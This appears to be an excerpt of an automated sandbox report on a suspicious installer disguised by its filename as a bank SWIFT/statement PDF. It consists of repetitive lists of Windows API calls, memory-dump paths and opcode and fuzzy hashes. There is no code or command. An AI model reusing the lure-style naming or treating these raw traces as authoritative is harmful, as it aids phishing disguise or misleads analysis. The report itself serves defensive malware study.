                                                                                                            • Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
                                                                                                            • Opcode Fuzzy Hash: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
                                                                                                            • Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC
                                                                                                            APIs
                                                                                                            • SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
                                                                                                            • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$Timeout
                                                                                                            • String ID: !
                                                                                                            • API String ID: 1777923405-2657877971
                                                                                                            • Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
                                                                                                            • Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
                                                                                                            • Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
                                                                                                            • Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18
                                                                                                            APIs
                                                                                                            • RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
                                                                                                            • lstrlenW.KERNEL32(0040A580,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
                                                                                                            • RegSetValueExW.ADVAPI32(?,?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CloseCreateValuelstrlen
                                                                                                            • String ID:
                                                                                                            • API String ID: 1356686001-0
                                                                                                            • Opcode ID: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
                                                                                                            • Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
                                                                                                            • Opcode Fuzzy Hash: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
                                                                                                            • Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69
                                                                                                            APIs
                                                                                                              • Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,00436800,?,75922EE0,00405792,?,00436800,75922EE0,00434000), ref: 004059EE
                                                                                                              • Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
                                                                                                              • Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B
                                                                                                            • CreateDirectoryW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
                                                                                                            • GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
                                                                                                            • GetFileAttributesW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
                                                                                                            • SetCurrentDirectoryW.KERNEL32(?,00435000,?,00000000,000000F0), ref: 00401630
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
                                                                                                            • String ID:
                                                                                                            • API String ID: 3751793516-0
                                                                                                            • Opcode ID: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
                                                                                                            • Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
                                                                                                            • Opcode Fuzzy Hash: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
                                                                                                            • Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E
                                                                                                            APIs
                                                                                                            • GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
                                                                                                            • GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
                                                                                                            • GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
                                                                                                            • VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69
                                                                                                              • Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
                                                                                                            • String ID:
                                                                                                            • API String ID: 1404258612-0
                                                                                                            • Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
                                                                                                            • Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
                                                                                                            • Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
                                                                                                            • Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68
                                                                                                            APIs
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
                                                                                                              • Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
                                                                                                              • Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F
                                                                                                              • Part of subcall function 00405665: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
                                                                                                              • Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697
                                                                                                            • WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
                                                                                                            • WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
                                                                                                            • GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
                                                                                                            • CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
                                                                                                            • String ID:
                                                                                                            • API String ID: 3585118688-0
                                                                                                            • Opcode ID: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
                                                                                                            • Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
                                                                                                            • Opcode Fuzzy Hash: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
                                                                                                            • Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99
                                                                                                            APIs
                                                                                                            • IsWindowVisible.USER32(?), ref: 00405137
                                                                                                            • CallWindowProcW.USER32(?,?,?,?), ref: 00405188
                                                                                                              • Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Window$CallMessageProcSendVisible
                                                                                                            • String ID:
                                                                                                            • API String ID: 3748168415-3916222277
                                                                                                            • Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
                                                                                                            • Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
                                                                                                            • Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
                                                                                                            • Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69
                                                                                                            APIs
                                                                                                            • GetTickCount.KERNEL32 ref: 00405BA3
                                                                                                            • GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403358,00436000,00436800), ref: 00405BBE
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CountFileNameTempTick
                                                                                                            • String ID: nsa
                                                                                                            • API String ID: 1716503409-2209301699
                                                                                                            • Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
                                                                                                            • Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
                                                                                                            • Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
                                                                                                            • Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64
                                                                                                            APIs
                                                                                                            • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
                                                                                                            • CloseHandle.KERNEL32(?), ref: 00405697
                                                                                                            Strings
                                                                                                            • Error launching installer, xrefs: 00405678
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CloseCreateHandleProcess
                                                                                                            • String ID: Error launching installer
                                                                                                            • API String ID: 3712363035-66219284
                                                                                                            • Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
                                                                                                            • Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
                                                                                                            • Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
                                                                                                            • Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
                                                                                                            • Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
                                                                                                            • Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
                                                                                                            • Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
                                                                                                            • Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
                                                                                                            • Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
                                                                                                            • Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
                                                                                                            • Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
                                                                                                            • Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
                                                                                                            • Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
                                                                                                            • Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
                                                                                                            • Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
                                                                                                            • Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
                                                                                                            • Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
                                                                                                            • Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
                                                                                                            • Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
                                                                                                            • Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
                                                                                                            • Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
                                                                                                            • Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
                                                                                                            • Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
                                                                                                            • Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
                                                                                                            • Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44
                                                                                                            APIs
